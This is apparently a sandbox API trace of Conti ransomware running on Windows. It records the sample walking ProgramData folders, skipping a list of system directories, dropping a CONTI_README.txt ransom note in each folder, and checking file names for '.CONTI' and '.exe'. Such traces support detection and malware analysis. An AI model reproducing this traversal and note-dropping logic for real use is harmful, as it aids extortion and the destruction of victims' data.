	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0104.729] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.729] lstrlenW (lpString="parse.dat") returned 9
	[0104.729] GetProcessHeap () returned 0x1720000
	[0104.729] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0ac0
	[0104.729] lstrcpyW (in: lpString1=0x17c0ac0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="parse.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat"
	[0104.729] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Sideload", cAlternateFileName="")) returned 1
	[0104.729] lstrcmpiW (lpString1="Sideload", lpString2=".") returned 1
	[0104.729] lstrcmpiW (lpString1="Sideload", lpString2="..") returned 1
	[0104.729] lstrcmpiW (lpString1="Sideload", lpString2="tmp") returned -1
	[0104.729] lstrcmpiW (lpString1="Sideload", lpString2="winnt") returned -1
	[0104.729] lstrcmpiW (lpString1="Sideload", lpString2="Application Data") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="AppData") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="temp") returned -1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="thumb") returned -1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="$Recycle.Bin") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="$RECYCLE.BIN") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="System Volume Information") returned -1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="Program Files") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="Program Files (x86)") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="Boot") returned 1
	[0104.730] lstrcmpiW (lpString1="Sideload", lpString2="Windows") returned -1
	[0104.730] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.730] lstrlenW (lpString="Sideload") returned 8
	[0104.730] GetProcessHeap () returned 0x1720000
	[0104.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c13e8
	[0104.730] lstrcpyW (in: lpString1=0x17c13e8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="Sideload" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload"
	[0104.730] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload") returned 43
	[0104.730] GetProcessHeap () returned 0x1720000
	[0104.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5c) returned 0x17c0bf8
	[0104.730] lstrcpyW (in: lpString1=0x17c0bf8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload"
	[0104.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\*"
	[0104.730] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload") returned 43
	[0104.730] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.730] GetProcessHeap () returned 0x1720000
	[0104.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7a) returned 0x176b8a8
	[0104.730] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload"
	[0104.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\"
	[0104.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\CONTI_README.txt"
	[0104.730] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\sideload\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.062] GetProcessHeap () returned 0x1720000
	[0105.062] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0105.062] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.063] CloseHandle (hObject=0x38c) returned 1
	[0105.063] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f70
	[0105.063] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.063] FindNextFileW (in: hFindFile=0x17c7f70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.063] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.063] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.063] FindNextFileW (in: hFindFile=0x17c7f70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527774f5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x527774f5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.063] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.063] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.063] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.063] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.064] FindNextFileW (in: hFindFile=0x17c7f70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527774f5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x527774f5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.064] GetProcessHeap () returned 0x1720000
	[0105.064] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0bf8 | out: hHeap=0x1720000) returned 1
	[0105.064] FindClose (in: hFindFile=0x17c7f70 | out: hFindFile=0x17c7f70) returned 1
	[0105.064] GetProcessHeap () returned 0x1720000
	[0105.064] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c13e8 | out: hHeap=0x1720000) returned 1
	[0105.064] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Siufloc", cAlternateFileName="")) returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2=".") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="..") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="tmp") returned -1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="winnt") returned -1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="Application Data") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="AppData") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="temp") returned -1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="thumb") returned -1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="$Recycle.Bin") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="$RECYCLE.BIN") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="System Volume Information") returned -1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="Program Files") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="Program Files (x86)") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="Boot") returned 1
	[0105.064] lstrcmpiW (lpString1="Siufloc", lpString2="Windows") returned -1
	[0105.064] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0105.064] lstrlenW (lpString="Siufloc") returned 7
	[0105.064] GetProcessHeap () returned 0x1720000
	[0105.064] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c0f08
	[0105.064] lstrcpyW (in: lpString1=0x17c0f08, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0105.064] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0105.064] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="Siufloc" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc"
	[0105.064] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc") returned 42
	[0105.064] GetProcessHeap () returned 0x1720000
	[0105.064] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0ac0
	[0105.064] lstrcpyW (in: lpString1=0x17c0ac0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc"
	[0105.065] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\*"
	[0105.065] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc") returned 42
	[0105.065] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.065] GetProcessHeap () returned 0x1720000
	[0105.065] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e3bd8
	[0105.065] lstrcpyW (in: lpString1=0x17e3bd8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc"
	[0105.065] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\"
	[0105.065] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\CONTI_README.txt"
	[0105.065] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\siufloc\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.065] GetProcessHeap () returned 0x1720000
	[0105.065] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3bd8 | out: hHeap=0x1720000) returned 1
	[0105.065] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.066] CloseHandle (hObject=0x38c) returned 1
	[0105.066] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0105.066] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.066] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.066] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.066] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.066] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527774f5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x527774f5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.066] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.066] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.066] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.066] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.066] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527774f5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x527774f5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.066] GetProcessHeap () returned 0x1720000
	[0105.067] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0ac0 | out: hHeap=0x1720000) returned 1
	[0105.067] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0105.067] GetProcessHeap () returned 0x1720000
	[0105.067] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0f08 | out: hHeap=0x1720000) returned 1
	[0105.067] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2=".") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="..") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="tmp") returned -1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="winnt") returned -1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="Application Data") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="AppData") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="temp") returned -1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="thumb") returned -1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="$Recycle.Bin") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="$RECYCLE.BIN") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="System Volume Information") returned -1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="Program Files") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="Program Files (x86)") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="Boot") returned 1
	[0105.067] lstrcmpiW (lpString1="SoftLanding", lpString2="Windows") returned -1
	[0105.067] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0105.067] lstrlenW (lpString="SoftLanding") returned 11
	[0105.067] GetProcessHeap () returned 0x1720000
	[0105.067] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0b28
	[0105.067] lstrcpyW (in: lpString1=0x17c0b28, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0105.067] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0105.067] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.067] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.067] GetProcessHeap () returned 0x1720000
	[0105.067] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x1740e30
	[0105.067] lstrcpyW (in: lpString1=0x1740e30, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.067] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\*"
	[0105.067] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.067] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.067] GetProcessHeap () returned 0x1720000
	[0105.067] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x80) returned 0x176b8a8
	[0105.068] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.068] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.068] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\CONTI_README.txt"
	[0105.068] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.070] GetProcessHeap () returned 0x1720000
	[0105.070] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0105.070] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.071] CloseHandle (hObject=0x38c) returned 1
	[0105.071] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8030
	[0105.071] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.072] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x527774f5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.072] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.072] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.072] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1
	[0105.072] lstrcmpiW (lpString1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpString2=".") returned 1
	[0105.072] lstrcmpiW (lpString1="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpString2="..") returned 1
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch=".CONTI") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.072] StrStrIW (lpFirst="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", lpSrch=".exe") returned 0x0
